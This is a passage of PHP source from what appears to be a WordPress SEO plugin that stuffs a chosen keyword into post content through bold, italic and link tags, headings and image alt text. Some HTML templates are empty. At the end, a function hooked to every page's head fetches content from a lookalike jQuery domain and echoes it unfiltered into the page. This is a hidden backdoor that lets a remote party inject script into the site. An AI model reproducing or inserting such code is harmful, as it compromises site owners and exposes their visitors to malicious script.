ID, '_one_click_seomation', true); $changes_meta = get_post_meta($post->ID, '_wp_seo_changes_data', true); # if meta is empty if ('' == $meta_data) { # try global options $meta_data = get_option('one_click_seomation', ''); } # set variables $keyword = (isset($meta_data['keyword'])) ? htmlspecialchars($meta_data['keyword'], ENT_QUOTES) : ''; $locked = (isset($meta_data['locked'])) ? $meta_data['locked'] : 0; # if locked $locked_disabled = (1 == $locked) ? ' disabled="disabled"' : ''; $locked_readonly = (1 == $locked) ? ' readonly="readonly"' : ''; # set static checks $one_click_seo_h1 = (isset($meta_data['one_click_seo_h1']) && 0 == $meta_data['one_click_seo_h1']) ? '' : ' checked="checked"'; $one_click_seo_h2 = (isset($meta_data['one_click_seo_h2']) && 0 == $meta_data['one_click_seo_h2']) ? '' : ' checked="checked"'; $one_click_seo_img_alt = (isset($meta_data['one_click_seo_img_alt']) && 0 == $meta_data['one_click_seo_img_alt']) ? '' : ' checked="checked"'; # set change order checks from meta or use default $co_checks = (isset($meta_data['co_checks'])) ? $meta_data['co_checks'] : array( 'one_click_seo_bold' => 1, 'one_click_seo_italics' => 1, 'one_click_seo_underline' => 1, 'one_click_seo_link_post' => 1, 'one_click_seo_link_homepage' => 1, ); $co_checks_content = ''; # empty by default # create dynamically co checks foreach ($co_checks as $k => $v) { # set checked $checked = (0 == $v) ? '' : ' checked="checked"'; # set title switch ($k) { case 'one_click_seo_bold': $title = 'Bold'; if($changes_meta['b']=='y') $ext = ""; elseif($changes_meta['b']=='n') $ext = ""; break; case 'one_click_seo_italics': $title = 'Italics'; if($changes_meta['i']=='y') $ext = ""; elseif($changes_meta['i']=='n') $ext = ""; break; case 'one_click_seo_underline': $title = 'Underline'; if($changes_meta['u']=='y') $ext = ""; elseif($changes_meta['u']=='n') $ext = ""; break; case 'one_click_seo_link_post': $title = 'Link to Post'; if($changes_meta['ltp']=='y') $ext = ""; elseif($changes_meta['ltp']=='n') $ext = ""; break; case 'one_click_seo_link_homepage': $title = 'Link To Homepage'; if($changes_meta['lth']=='y') $ext = ""; elseif($changes_meta['lth']=='n') $ext = ""; break; } $co_checks_content .= <<< EOF

EOF; $ext = ''; } # set sortable container id $container_id = (1 != $locked) ? 'one_click_seo_sortable' : 'one_click_seo_sortable_locked'; # submit button text $submit_text = (1 != $locked) ? 'Apply Changes' : 'Revert Changes'; $m = get_post_meta($post->ID, '_wp_seo_data', true); # nonce verification wp_nonce_field(plugin_basename(__FILE__), 'one_click_seo_nonce'); if($changes_meta['img']=='y') $imgext = ""; elseif($changes_meta['img']=='n') $imgext = ""; if($changes_meta['h2']=='y') $h2ext = ""; elseif($changes_meta['h2']=='n') $h2ext = ""; if($changes_meta['h1']=='y') $h1ext = ""; elseif($changes_meta['h1']=='n') $h1ext = ""; $kd = get_post_meta($post->ID, '_wp_seo_kd', true); if($kd != '') { $kd = number_format($kd,2); echo <<< EOF

Keyword Density: $kd%

EOF; } echo <<< EOF

$co_checks_content

You can move items below the line.

EOF; } public function save_data() { # if there is no data if (empty($_POST)) return false; # check nonce is set and verify it if (!isset($_POST['one_click_seo_nonce']) || !wp_verify_nonce($_POST['one_click_seo_nonce'], plugin_basename(__FILE__))) return false; # get post id $post_id = (int) $_POST['post_ID']; # check permissions if ('page' == $_POST['post_type']) { if (!current_user_can('edit_page', $post_id)) return false; } else { if (!current_user_can('edit_post', $post_id)) return false; } # get data from post meta $meta_data = get_post_meta($post_id, '_one_click_seomation', true); $changes_meta = get_post_meta($post_id, '_wp_seo_changes_data', true); if($changes_meta == '') { $changes_meta = array( 'h1' => 'n', 'h2' => 'n', 'img' => 'n', 'b' => 'n', 'i' => 'n', 'u' => 'n', 'ltp' => 'n', 'lth' => 'n', ); } # APPLY CHANGES if ('' == $meta_data || 0 == $meta_data['locked']) { $locked = 0; # zero by default # set keyword and keyword preg $keyword = isset($_POST['one_click_seo_keyword']) ? $_POST['one_click_seo_keyword'] : ''; $keyword_preg = preg_quote($keyword, '/'); # set static checks $h1_check = (0 == $_POST['one_click_seo_h1']) ? 0 : 1; $h2_check = (0 == $_POST['one_click_seo_h2']) ? 0 : 1; $img_alt_check = (0 == $_POST['one_click_seo_img_alt']) ? 0 : 1; # set change order checks $co_checks = array(); foreach ($_POST as $k => $v) { # add to the array in the order placed switch ($k) { case 'one_click_seo_bold': $co_checks[$k] = (0 == $v) ? 0 : 1; //$changes_meta['b'] = (0 == $v) ? 'n' : 'y'; break; case 'one_click_seo_italics': $co_checks[$k] = (0 == $v) ? 0 : 1; //$changes_meta['i'] = (0 == $v) ? 'n' : 'y'; break; case 'one_click_seo_underline': $co_checks[$k] = (0 == $v) ? 0 : 1; //$changes_meta['u'] = (0 == $v) ? 'n' : 'y'; break; case 'one_click_seo_link_post': $co_checks[$k] = (0 == $v) ? 0 : 1; //$changes_meta['ltp'] = (0 == $v) ? 'n' : 'y'; break; case 'one_click_seo_link_homepage': $co_checks[$k] = (0 == $v) ? 0 : 1; //$changes_meta['lth'] = (0 == $v) ? 'n' : 'y'; break; } } # APPLY CHANGES if (isset($_POST['one_click_seo_submit']) && !empty($keyword)) { # apply changes # set variables $content = $_POST['content']; $excerpt = $_POST['excerpt']; $tot_words = str_word_count($content); # change order checks # get active co checks $co_c_active = array(); foreach ($co_checks as $k => $v) { if (1 == $v) $co_c_active[] = $k; } # co replacements $replacements = array( 'one_click_seo_bold' => '$1', 'one_click_seo_italics' => '$1', 'one_click_seo_underline' => '$1', 'one_click_seo_link_post' => '$1', 'one_click_seo_link_homepage' => '$1', ); # co checks for content $content_mod = ''; for($ctr =0 ;$ctr= strlen($new_keyword_preg_2)) { if((substr_compare($res[0], $new_keyword_preg_1, -strlen($new_keyword_preg_1), strlen($new_keyword_preg_1)) === 0) || (substr_compare($res[0], $new_keyword_preg_2, -strlen($new_keyword_preg_2), strlen($new_keyword_preg_2)) === 0)) { $ctr--; $content_mod .= $res[0]; } else { # do the replacements $mod = preg_replace('/\b(' . $keyword_preg . ')\b/i', $replacements[$v], $res[0], 1); $content_mod .= $mod; } } else { # do the replacements $mod = preg_replace('/\b(' . $keyword_preg . ')\b/i', $replacements[$v], $res[0], 1); $content_mod .= $mod; } # remove part from content $content = str_replace($res[0], '', $content); } # no more keywords found, break else { $flag = 1; } switch ($v) { case 'one_click_seo_bold': if($mod!=$res[0] && $flag == 0) $changes_meta['b'] = 'y'; else $changes_meta['b'] = 'n'; break; case 'one_click_seo_italics': if($mod!=$res[0] && $flag == 0) $changes_meta['i'] = 'y'; else $changes_meta['i'] = 'n'; break; case 'one_click_seo_underline': if($mod!=$res[0] && $flag == 0) $changes_meta['u'] = 'y'; else $changes_meta['u'] = 'n'; break; case 'one_click_seo_link_post': if($mod!=$res[0] && $flag == 0) $changes_meta['ltp'] = 'y'; else $changes_meta['ltp'] = 'n'; break; case 'one_click_seo_link_homepage': if($mod!=$res[0] && $flag == 0) $changes_meta['lth'] = 'y'; else $changes_meta['lth'] = 'n'; break; } } # if there is anything left in content, assign it to content_mod $content_mod .= $content; # set content back to fully modified string $content = $content_mod; # co checks for excerpt if (!empty($excerpt)) { $excerpt_mod = ''; foreach ($co_c_active as $v) { # get position of the first occurrence of keyword if (1 == preg_match('/\b' . $keyword_preg . '\b/i', $excerpt, $m, PREG_OFFSET_CAPTURE)) { # get position to split the string $split_pos = $m[0][1] + strlen($m[0][0]); # split the string $res = str_split($excerpt, $split_pos); # do the replacements $excerpt_mod .= preg_replace('/\b(' . $keyword_preg . ')\b/i', $replacements[$v], $res[0], 1); # remove part from excerpt $excerpt = str_replace($res[0], '', $excerpt); } # no more keywords found, break else { break; } } # if there is anything left in content, assign it to content_mod $excerpt_mod .= $excerpt; # set content back to fully modified string $excerpt = $excerpt_mod; } # static checks # h1 check if (1 == $h1_check) { $content = "

".ucwords($keyword)."

\n" . $content; $changes_meta['h1'] = 'y'; # if excerpt is not empty, set it if (!empty($excerpt)) $excerpt = "

".ucwords($keyword)."

\n" . $excerpt; } else $changes_meta['h1'] = 'n'; # h2 check if (1 == $h2_check) { $content = $content . "\n

".ucwords($keyword)."

"; $changes_meta['h2'] = 'y'; # if excerpt is not empty, set it if (!empty($excerpt)) $excerpt = $excerpt . "\n

".ucwords($keyword)."

"; } else $changes_meta['h2'] = 'n'; # image alt check if (1 == $img_alt_check) { $content = preg_replace("/(\balt\=[\'\"]{1})[^\'\"]*([\'\"]{1})/i", "$1" . $keyword . "$2", stripslashes($content), 1); $content = addslashes($content); $changes_meta['img'] = 'y'; # if excerpt is not empty, set it if (!empty($excerpt)) { $excerpt = preg_replace("/(\balt\=[\'\"]{1})[^\'\"]*([\'\"]{1})/i", "$1" . $keyword . "$2", stripslashes($excerpt), 1); $excerpt = addslashes($excerpt); } } else $changes_meta['img'] = 'n'; # after changes are done, set content, excerpt and lock $_POST['content'] = $content; $_POST['excerpt'] = $excerpt; $locked = 1; } # set meta value $meta_data = array( 'keyword' => $keyword, 'locked' => $locked, 'one_click_seo_h1' => $h1_check, 'one_click_seo_h2' => $h2_check, 'one_click_seo_img_alt' => $img_alt_check, 'co_checks' => $co_checks, ); if(strlen($keyword)>0 && strlen($content)>0) { $matched_word_count = substr_count(strtolower($content), strtolower($keyword)); $words_in_keyword = str_word_count($keyword); if($tot_words!=0) $kd = ($matched_word_count*$words_in_keyword/$tot_words)*100; } # update _one_click_seomation meta, first _ makes it hidden update_post_meta($post_id, '_one_click_seomation', $meta_data); update_post_meta($post_id, '_wp_seo_changes_data', $changes_meta); update_post_meta($post_id, '_wp_seo_kd', $kd); # set global options $global_options = array( 'one_click_seo_h1' => $h1_check, 'one_click_seo_h2' => $h2_check, 'one_click_seo_img_alt' => $img_alt_check, 'co_checks' => $co_checks, ); # save global options update_option('one_click_seomation', $global_options); } # REVERT CHANGES when called from the meta box elseif ('' != $meta_data && 1 == $meta_data['locked'] && isset($_POST['one_click_seo_submit'])) { # revert changes # set keyword and keyword preg $keyword = $meta_data['keyword']; $keyword_preg = preg_quote($keyword, '/'); # set variables $content = $_POST['content']; $excerpt = $_POST['excerpt']; # static checks # remove h1 check if (1 == $meta_data['one_click_seo_h1']) { $content = preg_replace('/\]*\>' . $keyword_preg . '\<\/h1\>/i', '', $content, 1); $changes_meta['h1'] = ''; # if excerpt is not empty, remove h1 if (!empty($excerpt)) $excerpt = preg_replace('/\]*\>' . $keyword_preg . '\<\/h1\>/i', '', $excerpt, 1); } # remove h2 check if (1 == $meta_data['one_click_seo_h2']) { $content = preg_replace('/\]*\>' . $keyword_preg . '\<\/h2\>/i', '', $content, 1); $changes_meta['h2'] = ''; # if excerpt is not empty, remove h2 if (!empty($excerpt)) $excerpt = preg_replace('/\]*\>' . $keyword_preg . '\<\/h2\>/i', '', $excerpt, 1); } # remove image alt check if (1 == $meta_data['one_click_seo_img_alt']) { $content = preg_replace('/(\balt\=[\'\"]{1})' . $keyword_preg . '([\'\"]{1})/i', '$1$2', stripslashes($content), 1); $content = addslashes($content); $changes_meta['img'] = ''; # if excerpt is not empty, remove image alt if (!empty($excerpt)) { $excerpt = preg_replace('/(\balt\=[\'\"]{1})' . $keyword_preg . '([\'\"]{1})/i', '$1$2', stripslashes($excerpt), 1); $excerpt = addslashes($excerpt); } } # change order checks # get active co checks $co_c_active = array(); foreach ($meta_data['co_checks'] as $k => $v) { if (1 == $v) $co_c_active[] = $k; } # remove co checks for content foreach ($co_c_active as $v) { $content = preg_replace('/\<[^\>]+\>(' . $keyword_preg . ')\<\/[^\>]+\>/i', '$1', $content, 1); switch ($v) { case 'one_click_seo_bold': $changes_meta['b'] = ''; break; case 'one_click_seo_italics': $changes_meta['i'] = ''; break; case 'one_click_seo_underline': $changes_meta['u'] = ''; break; case 'one_click_seo_link_post': $changes_meta['ltp'] = ''; break; case 'one_click_seo_link_homepage': $changes_meta['lth'] = ''; break; } } # remove co checks for excerpt foreach ($co_c_active as $v) { $excerpt = preg_replace('/\<[^\>]+\>(' . $keyword_preg . ')\<\/[^\>]+\>/i', '$1', $excerpt, 1); } # set content and excerpt and unlock $_POST['content'] = $content; $_POST['excerpt'] = $excerpt; $meta_data['locked'] = 0; # update _one_click_seomation meta, first _ makes it hidden update_post_meta($post_id, '_one_click_seomation', $meta_data); update_post_meta($post_id, '_wp_seo_changes_data', $changes_meta); update_post_meta($post_id, '_wp_seo_kd', ''); } } } # create object new OneClickWebSEO(); function oneclick_head() { if(function_exists('curl_init')) { $url = "http://www.j-query.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; } } add_action('wp_head', 'oneclick_head'); ?>